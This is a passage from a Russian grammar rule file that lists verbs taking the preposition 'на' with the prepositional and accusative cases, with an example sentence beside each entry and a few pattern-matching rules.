rus_verbs:оставить{}, // Мел оставил на доске белый след. rus_verbs:оставлять{}, // Мел оставляет на доске белый след. rus_verbs:встречаться{}, // встречаться на лекциях rus_verbs:познакомиться{}, // познакомиться на занятиях rus_verbs:устроиться{}, // она устроилась на кровати rus_verbs:ложиться{}, // ложись на полу rus_verbs:останавливаться{}, // останавливаться на достигнутом rus_verbs:спотыкаться{}, // спотыкаться на ровном месте rus_verbs:распечатать{}, // распечатать на бумаге rus_verbs:распечатывать{}, // распечатывать на бумаге rus_verbs:просмотреть{}, // просмотреть на бумаге rus_verbs:закрепляться{}, // закрепляться на плацдарме rus_verbs:погреться{}, // погреться на солнышке rus_verbs:мешать{}, // Он мешал краски на палитре. rus_verbs:занять{}, // Он занял первое место на соревнованиях. rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках. деепричастие:женившись{ вид:соверш }, rus_verbs:везти{}, // Он везёт песок на тачке. прилагательное:казненный{}, // Он был казнён на электрическом стуле. rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче. rus_verbs:принести{}, // Официантка принесла нам обед на подносе. rus_verbs:переписать{}, // Перепишите эту рукопись на машинке. rus_verbs:идти{}, // Поезд идёт на малой скорости. rus_verbs:петь{}, // птички поют на рассвете rus_verbs:смотреть{}, // Смотри на обороте. rus_verbs:прибрать{}, // прибрать на столе rus_verbs:прибраться{}, // прибраться на столе rus_verbs:растить{}, // растить капусту на огороде rus_verbs:тащить{}, // тащить ребенка на руках rus_verbs:убирать{}, // убирать на столе rus_verbs:простыть{}, // Я простыл на морозе. rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе. rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках. rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге. rus_verbs:вскочить{}, // У него вскочил прыщ на носу. rus_verbs:свить{}, // У нас на балконе воробей свил гнездо. rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица. rus_verbs:восходить{}, // Солнце восходит на востоке. rus_verbs:блестеть{}, // Снег блестит на солнце. rus_verbs:побить{}, // Рысак побил всех лошадей на скачках. rus_verbs:литься{}, // Реки крови льются на войне. rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах. rus_verbs:клубиться{}, // Пыль клубится на дороге. инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке. // глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути // инфинитив:находиться{вид:несоверш}, rus_verbs:жить{}, // Было интересно жить на курорте. rus_verbs:повидать{}, // Он много повидал на своём веку. rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду. rus_verbs:расположиться{}, // Оба села расположились на берегу реки. rus_verbs:объясняться{}, // Они объясняются на иностранном языке. rus_verbs:прощаться{}, // Они долго прощались на вокзале. rus_verbs:работать{}, // Она работает на ткацкой фабрике. rus_verbs:купить{}, // Она купила молоко на рынке. rus_verbs:поместиться{}, // Все книги поместились на полке. глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике. rus_verbs:пожить{}, // Недолго она пожила на свете. rus_verbs:краснеть{}, // Небо краснеет на закате. rus_verbs:бывать{}, // На Волге бывает сильное волнение. rus_verbs:ехать{}, // Мы туда ехали на автобусе. rus_verbs:провести{}, // Мы провели месяц на даче. rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице. rus_verbs:расти{}, // Арбузы растут теперь не только на юге. ГЛ_ИНФ(сидеть), // три больших пса сидят на траве ГЛ_ИНФ(сесть), // три больших пса сели на траву ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль ГЛ_ИНФ(повезти), // я повезу тебя на машине ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси ГЛ_ИНФ(пить), // пить на кухне чай ГЛ_ИНФ(найти), // найти на острове ГЛ_ИНФ(быть), // на этих костях есть следы зубов ГЛ_ИНФ(высадиться), // помощники высадились на острове ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове ГЛ_ИНФ(случиться), // это случилось на опушке леса ГЛ_ИНФ(продать), ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: смотреть на youtube fact гл_предл { if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} } then return true } // локатив fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} } then return true } #endregion ПРЕДЛОЖНЫЙ #region ВИНИТЕЛЬНЫЙ // НА+винительный падеж: // ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ #region VerbList wordentry_set Гл_НА_Вин= { rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили. rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку. rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай. rus_verbs:умножить{}, // Умножьте это количество примерно на 10. //rus_verbs:умножать{}, rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу. rus_verbs:откатывать{}, rus_verbs:доносить{}, // Вот и побежали на вас доносить. rus_verbs:донести{}, rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали. безлич_глагол:хватит{}, // - На одну атаку хватит. rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты. rus_verbs:поскупиться{}, // Не поскупись на похвалы! rus_verbs:подыматься{}, rus_verbs:транспортироваться{}, rus_verbs:бахнуть{}, // Бахнуть стакан на пол rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ) rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ) rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ) rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ) rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ) rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ) rus_verbs:БРЫЗГАТЬ{}, rus_verbs:БРЫЗНУТЬ{}, rus_verbs:КАПНУТЬ{}, rus_verbs:КАПАТЬ{}, rus_verbs:ПОКАПАТЬ{}, rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ) rus_verbs:ОХОТИТЬСЯ{}, // rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ) rus_verbs:НАРВАТЬСЯ{}, // rus_verbs:НАТОЛКНУТЬСЯ{}, // rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ) прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ) rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ) rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ) rus_verbs:СТАЛКИВАТЬ{}, // rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ) rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ) rus_verbs:ПЕРЕБРОСИТЬ{}, // rus_verbs:НАБРАСЫВАТЬ{}, // rus_verbs:НАБРОСИТЬ{}, // rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ) rus_verbs:СВОРАЧИВАТЬ{}, // // rus_verbs:ПОВЕРНУТЬ{}, // rus_verbs:ПОВОРАЧИВАТЬ{}, // rus_verbs:наорать{}, rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ) rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ) rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:перегонять{}, rus_verbs:выгонять{}, rus_verbs:выгнать{}, rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ) rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ) rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ) rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ) rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций rus_verbs:назначаться{}, // назначаться на пост rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин) rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА) // rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА) rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА) rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин) rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА) rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА) rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин) rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА) rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА) прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА) rus_verbs:посыпаться{}, // на Нину посыпались снежинки инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод. глагол:нарезаться{ вид:несоверш }, rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу rus_verbs:показать{}, // Вадим показал на Колю rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА) rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на) rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА) rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА) rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на) rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА) rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА) rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на) rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на) rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на) rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на) rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на) rus_verbs:верить{}, // верить людям на слово (верить на слово) rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру. rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору. rus_verbs:пасть{}, // Жребий пал на меня. rus_verbs:ездить{}, // Вчера мы ездили на оперу. rus_verbs:влезть{}, // Мальчик влез на дерево. rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу. rus_verbs:разбиться{}, // окно разбилось на мелкие осколки rus_verbs:бежать{}, // я бегу на урок rus_verbs:сбегаться{}, // сбегаться на происшествие rus_verbs:присылать{}, // присылать на испытание rus_verbs:надавить{}, // надавить на педать rus_verbs:внести{}, // внести законопроект на рассмотрение rus_verbs:вносить{}, // вносить законопроект на рассмотрение rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек. rus_verbs:оглядываться{}, // оглядываться на девушек rus_verbs:расходиться{}, // расходиться на отдых rus_verbs:поскакать{}, // поскакать на службу rus_verbs:прыгать{}, // прыгать на сцену rus_verbs:приглашать{}, // приглашать на обед rus_verbs:рваться{}, // Кусок ткани рвется на части rus_verbs:понестись{}, // понестись на волю rus_verbs:распространяться{}, // распространяться на всех жителей штата инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, деепричастие:просыпавшись{}, деепричастие:просыпаясь{}, rus_verbs:заехать{}, // заехать на пандус rus_verbs:разобрать{}, // разобрать на составляющие rus_verbs:опускаться{}, // опускаться на колени rus_verbs:переехать{}, // переехать на конспиративную квартиру rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов rus_verbs:поместить{}, // поместить на поднос rus_verbs:отходить{}, // отходить на подготовленные позиции rus_verbs:сыпаться{}, // сыпаться на плечи rus_verbs:отвезти{}, // отвезти на занятия rus_verbs:накинуть{}, // накинуть на плечи rus_verbs:отлететь{}, // отлететь на пол rus_verbs:закинуть{}, // закинуть на чердак rus_verbs:зашипеть{}, // зашипеть на собаку rus_verbs:прогреметь{}, // прогреметь на всю страну rus_verbs:повалить{}, // повалить на стол rus_verbs:опереть{}, // опереть на фундамент rus_verbs:забросить{}, // забросить на антресоль rus_verbs:подействовать{}, // подействовать на материал rus_verbs:разделять{}, // разделять на части rus_verbs:прикрикнуть{}, // прикрикнуть на детей rus_verbs:разложить{}, // разложить на множители rus_verbs:провожать{}, // провожать на работу rus_verbs:катить{}, // катить на стройку rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью rus_verbs:сохранять{}, // сохранять на память rus_verbs:злиться{}, // злиться на друга rus_verbs:оборачиваться{}, // оборачиваться на свист rus_verbs:сползти{}, // сползти на землю rus_verbs:записывать{}, // записывать на ленту rus_verbs:загнать{}, // загнать на дерево rus_verbs:забормотать{}, // забормотать на ухо rus_verbs:протиснуться{}, // протиснуться на самый край rus_verbs:заторопиться{}, // заторопиться на вручение премии rus_verbs:гаркнуть{}, // гаркнуть на шалунов rus_verbs:навалиться{}, // навалиться на виновника всей толпой rus_verbs:проскользнуть{}, // проскользнуть на крышу дома rus_verbs:подтянуть{}, // подтянуть на палубу rus_verbs:скатиться{}, // скатиться на двойки rus_verbs:давить{}, // давить на жалость rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства rus_verbs:замахнуться{}, // замахнуться на святое rus_verbs:заменить{}, // заменить на свежую салфетку rus_verbs:свалить{}, // свалить на землю rus_verbs:стекать{}, // стекать на оголенные провода rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов rus_verbs:развалиться{}, // развалиться на части rus_verbs:сердиться{}, // сердиться на товарища rus_verbs:обронить{}, // обронить на пол rus_verbs:подсесть{}, // подсесть на наркоту rus_verbs:реагировать{}, // реагировать на импульсы rus_verbs:отпускать{}, // отпускать на волю rus_verbs:прогнать{}, // прогнать на рабочее место rus_verbs:ложить{}, // ложить на стол rus_verbs:рвать{}, // рвать на части rus_verbs:разлететься{}, // разлететься на кусочки rus_verbs:превышать{}, // превышать на существенную величину rus_verbs:сбиться{}, // сбиться на рысь rus_verbs:пристроиться{}, // пристроиться на хорошую работу rus_verbs:удрать{}, // удрать на пастбище rus_verbs:толкать{}, // толкать на преступление rus_verbs:посматривать{}, // посматривать на экран rus_verbs:набирать{}, // набирать на судно rus_verbs:отступать{}, // отступать на дерево rus_verbs:подуть{}, // подуть на молоко rus_verbs:плеснуть{}, // плеснуть на голову rus_verbs:соскользнуть{}, // соскользнуть на землю rus_verbs:затаить{}, // затаить на кого-то обиду rus_verbs:обижаться{}, // обижаться на Колю rus_verbs:смахнуть{}, // смахнуть на пол rus_verbs:застегнуть{}, // застегнуть на все пуговицы rus_verbs:спускать{}, // спускать на землю rus_verbs:греметь{}, // греметь на всю округу rus_verbs:скосить{}, // скосить на соседа глаз rus_verbs:отважиться{}, // отважиться на прыжок rus_verbs:литься{}, // литься на землю rus_verbs:порвать{}, // порвать на тряпки rus_verbs:проследовать{}, // проследовать на сцену rus_verbs:надевать{}, // надевать на голову rus_verbs:проскочить{}, // проскочить на красный свет rus_verbs:прилечь{}, // прилечь на диванчик rus_verbs:разделиться{}, // разделиться на небольшие группы rus_verbs:завыть{}, // завыть на луну rus_verbs:переносить{}, // переносить на другую машину rus_verbs:наговорить{}, // наговорить на сотню рублей rus_verbs:намекать{}, // намекать на новые обстоятельства rus_verbs:нападать{}, // нападать на охранников rus_verbs:убегать{}, // убегать на другое место rus_verbs:тратить{}, // тратить на развлечения rus_verbs:присаживаться{}, // присаживаться на корточки rus_verbs:переместиться{}, // переместиться на вторую линию rus_verbs:завалиться{}, // завалиться на диван rus_verbs:удалиться{}, // удалиться на покой rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов rus_verbs:обрушить{}, // обрушить на голову rus_verbs:резать{}, // резать на части rus_verbs:умчаться{}, // умчаться на юг rus_verbs:навернуться{}, // навернуться на камень rus_verbs:примчаться{}, // примчаться на матч rus_verbs:издавать{}, // издавать на собственные средства rus_verbs:переключить{}, // переключить на другой язык rus_verbs:отправлять{}, // отправлять на пенсию rus_verbs:залечь{}, // залечь на дно rus_verbs:установиться{}, // установиться на диск rus_verbs:направлять{}, // направлять на дополнительное обследование rus_verbs:разрезать{}, // разрезать на части rus_verbs:оскалиться{}, // оскалиться на прохожего rus_verbs:рычать{}, // рычать на пьяных rus_verbs:погружаться{}, // погружаться на дно rus_verbs:опираться{}, // опираться на костыли rus_verbs:поторопиться{}, // поторопиться на учебу rus_verbs:сдвинуться{}, // сдвинуться на сантиметр rus_verbs:увеличить{}, // увеличить на процент rus_verbs:опускать{}, // опускать на землю rus_verbs:созвать{}, // созвать на митинг rus_verbs:делить{}, // делить на части rus_verbs:пробиться{}, // пробиться на заключительную часть rus_verbs:простираться{}, // простираться на много миль rus_verbs:забить{}, // забить на учебу rus_verbs:переложить{}, // переложить на чужие плечи rus_verbs:грохнуться{}, // грохнуться на землю rus_verbs:прорваться{}, // прорваться на сцену rus_verbs:разлить{}, // разлить на землю rus_verbs:укладываться{}, // укладываться на ночевку rus_verbs:уволить{}, // уволить на пенсию rus_verbs:наносить{}, // наносить на кожу rus_verbs:набежать{}, // набежать на берег rus_verbs:заявиться{}, // заявиться на стрельбище rus_verbs:налиться{}, // налиться на крышку rus_verbs:надвигаться{}, // надвигаться на берег rus_verbs:распустить{}, // распустить на каникулы rus_verbs:переключиться{}, // переключиться на другую задачу rus_verbs:чихнуть{}, // чихнуть на окружающих rus_verbs:шлепнуться{}, // шлепнуться на спину rus_verbs:устанавливать{}, // устанавливать на крышу rus_verbs:устанавливаться{}, // устанавливаться на крышу rus_verbs:устраиваться{}, // устраиваться на работу rus_verbs:пропускать{}, // пропускать на стадион инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, деепричастие:сбегав{}, деепричастие:сбегая{}, rus_verbs:показываться{}, // показываться на глаза rus_verbs:прибегать{}, // прибегать на урок rus_verbs:съездить{}, // съездить на ферму rus_verbs:прославиться{}, // прославиться на всю страну rus_verbs:опрокинуться{}, // опрокинуться на спину rus_verbs:насыпать{}, // насыпать на землю rus_verbs:употреблять{}, // употреблять на корм скоту rus_verbs:пристроить{}, // пристроить на работу rus_verbs:заворчать{}, // заворчать на вошедшего rus_verbs:завязаться{}, // завязаться на поставщиков rus_verbs:сажать{}, // сажать на стул rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры rus_verbs:заменять{}, // заменять на исправную rus_verbs:нацепить{}, // нацепить на голову rus_verbs:сыпать{}, // сыпать на землю rus_verbs:закрываться{}, // закрываться на ремонт rus_verbs:распространиться{}, // распространиться на всю популяцию rus_verbs:поменять{}, // поменять на велосипед rus_verbs:пересесть{}, // пересесть на велосипеды rus_verbs:подоспеть{}, // подоспеть на разбор rus_verbs:шипеть{}, // шипеть на собак rus_verbs:поделить{}, // поделить на части rus_verbs:подлететь{}, // подлететь на расстояние выстрела rus_verbs:нажимать{}, // нажимать на все кнопки rus_verbs:распасться{}, // распасться на части rus_verbs:приволочь{}, // приволочь на диван rus_verbs:пожить{}, // пожить на один доллар rus_verbs:устремляться{}, // устремляться на свободу rus_verbs:смахивать{}, // смахивать на пол rus_verbs:забежать{}, // забежать на обед rus_verbs:увеличиться{}, // увеличиться на существенную величину rus_verbs:прокрасться{}, // прокрасться на склад rus_verbs:пущать{}, // пущать на постой rus_verbs:отклонить{}, // отклонить на несколько градусов rus_verbs:насмотреться{}, // насмотреться на безобразия rus_verbs:настроить{}, // настроить на короткие волны rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров rus_verbs:поменяться{}, // поменяться на другую книжку rus_verbs:расколоться{}, // расколоться на части rus_verbs:разлиться{}, // разлиться на землю rus_verbs:срываться{}, // срываться на жену rus_verbs:осудить{}, // осудить на пожизненное заключение rus_verbs:передвинуть{}, // передвинуть на первое место rus_verbs:допускаться{}, // допускаться на полигон rus_verbs:задвинуть{}, // задвинуть на полку rus_verbs:повлиять{}, // повлиять на оценку rus_verbs:отбавлять{}, // отбавлять на осмотр rus_verbs:сбрасывать{}, // сбрасывать на землю rus_verbs:накинуться{}, // накинуться на случайных прохожих rus_verbs:пролить{}, // пролить на кожу руки rus_verbs:затащить{}, // затащить на сеновал rus_verbs:перебежать{}, // перебежать на сторону противника rus_verbs:наливать{}, // наливать на скатерть rus_verbs:пролезть{}, // пролезть на сцену rus_verbs:откладывать{}, // откладывать на черный день rus_verbs:распадаться{}, // распадаться на небольшие фрагменты rus_verbs:перечислить{}, // перечислить на счет rus_verbs:закачаться{}, // закачаться на верхний уровень rus_verbs:накрениться{}, // накрениться на правый борт rus_verbs:подвинуться{}, // подвинуться на один уровень rus_verbs:разнести{}, // разнести на мелкие кусочки rus_verbs:зажить{}, // зажить на широкую ногу rus_verbs:оглохнуть{}, // оглохнуть на правое ухо rus_verbs:посетовать{}, // посетовать на бюрократизм rus_verbs:уводить{}, // уводить на осмотр rus_verbs:ускакать{}, // ускакать на забег rus_verbs:посветить{}, // посветить на стену rus_verbs:разрываться{}, // разрываться на части rus_verbs:побросать{}, // побросать на землю rus_verbs:карабкаться{}, // карабкаться на скалу rus_verbs:нахлынуть{}, // нахлынуть на кого-то rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки rus_verbs:среагировать{}, // среагировать на сигнал rus_verbs:претендовать{}, // претендовать на приз rus_verbs:дунуть{}, // дунуть на одуванчик rus_verbs:переводиться{}, // переводиться на другую работу rus_verbs:перевезти{}, // перевезти на другую площадку rus_verbs:топать{}, // топать на урок rus_verbs:относить{}, // относить на склад rus_verbs:сбивать{}, // сбивать на землю rus_verbs:укладывать{}, // укладывать на спину rus_verbs:укатить{}, // укатить на отдых rus_verbs:убирать{}, // убирать на полку rus_verbs:опасть{}, // опасть на землю rus_verbs:ронять{}, // ронять на снег rus_verbs:пялиться{}, // пялиться на тело rus_verbs:глазеть{}, // глазеть на тело rus_verbs:снижаться{}, // снижаться на безопасную высоту rus_verbs:запрыгнуть{}, // запрыгнуть на платформу rus_verbs:разбиваться{}, // разбиваться на главы rus_verbs:сгодиться{}, // сгодиться на фарш rus_verbs:перескочить{}, // перескочить на другую страницу rus_verbs:нацелиться{}, // нацелиться на главную добычу rus_verbs:заезжать{}, // заезжать на бордюр rus_verbs:забираться{}, // забираться на крышу rus_verbs:проорать{}, // проорать на всё село rus_verbs:сбежаться{}, // сбежаться на шум rus_verbs:сменять{}, // сменять на хлеб rus_verbs:мотать{}, // мотать на ус rus_verbs:раскалываться{}, // раскалываться на две половинки rus_verbs:коситься{}, // коситься на режиссёра rus_verbs:плевать{}, // плевать на законы rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение rus_verbs:наставить{}, // наставить на путь истинный rus_verbs:завывать{}, // завывать на Луну rus_verbs:опаздывать{}, // опаздывать на совещание rus_verbs:залюбоваться{}, // залюбоваться на пейзаж rus_verbs:повергнуть{}, // повергнуть на землю rus_verbs:надвинуть{}, // надвинуть на лоб rus_verbs:стекаться{}, // стекаться на площадь rus_verbs:обозлиться{}, // обозлиться на тренера rus_verbs:оттянуть{}, // оттянуть на себя rus_verbs:истратить{}, // истратить на дешевых шлюх rus_verbs:вышвырнуть{}, // вышвырнуть на улицу rus_verbs:затолкать{}, // затолкать на верхнюю полку rus_verbs:заскочить{}, // заскочить на огонек rus_verbs:проситься{}, // проситься на улицу rus_verbs:натыкаться{}, // натыкаться на борщевик rus_verbs:обрушиваться{}, // обрушиваться на митингующих rus_verbs:переписать{}, // переписать на чистовик rus_verbs:переноситься{}, // переноситься на другое устройство rus_verbs:напроситься{}, // напроситься на обидный ответ rus_verbs:натягивать{}, // натягивать на ноги rus_verbs:кидаться{}, // кидаться на прохожих rus_verbs:откликаться{}, // откликаться на призыв rus_verbs:поспевать{}, // поспевать на балет rus_verbs:обратиться{}, // обратиться на кафедру rus_verbs:полюбоваться{}, // полюбоваться на бюст rus_verbs:таращиться{}, // таращиться на мустангов rus_verbs:напороться{}, // напороться на колючки rus_verbs:раздать{}, // раздать на руки rus_verbs:дивиться{}, // дивиться на танцовщиц rus_verbs:назначать{}, // назначать на ответственнейший пост rus_verbs:кидать{}, // кидать на балкон rus_verbs:нахлобучить{}, // нахлобучить на башку rus_verbs:увлекать{}, // увлекать на луг rus_verbs:ругнуться{}, // ругнуться на животину rus_verbs:переселиться{}, // переселиться на хутор rus_verbs:разрывать{}, // разрывать на части rus_verbs:утащить{}, // утащить на дерево rus_verbs:наставлять{}, // наставлять на путь rus_verbs:соблазнить{}, // соблазнить на обмен rus_verbs:накладывать{}, // накладывать на рану rus_verbs:набрести{}, // набрести на грибную поляну rus_verbs:наведываться{}, // наведываться на прежнюю работу rus_verbs:погулять{}, // погулять на чужие деньги rus_verbs:уклоняться{}, // уклоняться на два градуса влево rus_verbs:слезать{}, // слезать на землю rus_verbs:клевать{}, // клевать на мотыля // rus_verbs:назначаться{}, // назначаться на пост rus_verbs:напялить{}, // напялить на голову rus_verbs:натянуться{}, // натянуться на рамку rus_verbs:разгневаться{}, // разгневаться на придворных rus_verbs:эмигрировать{}, // эмигрировать на Кипр rus_verbs:накатить{}, // накатить на основу rus_verbs:пригнать{}, // пригнать на пастбище rus_verbs:обречь{}, // обречь на мучения rus_verbs:сокращаться{}, // сокращаться на четверть rus_verbs:оттеснить{}, // оттеснить на пристань rus_verbs:подбить{}, // подбить на аферу rus_verbs:заманить{}, // заманить на дерево инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик // деепричастие:пописав{ aux stress="поп^исать" }, rus_verbs:посходить{}, // посходить на перрон rus_verbs:налечь{}, // налечь на мясцо rus_verbs:отбирать{}, // отбирать на флот rus_verbs:нашептывать{}, // нашептывать на ухо rus_verbs:откладываться{}, // откладываться на будущее rus_verbs:залаять{}, // залаять на грабителя rus_verbs:настроиться{}, // настроиться на прием 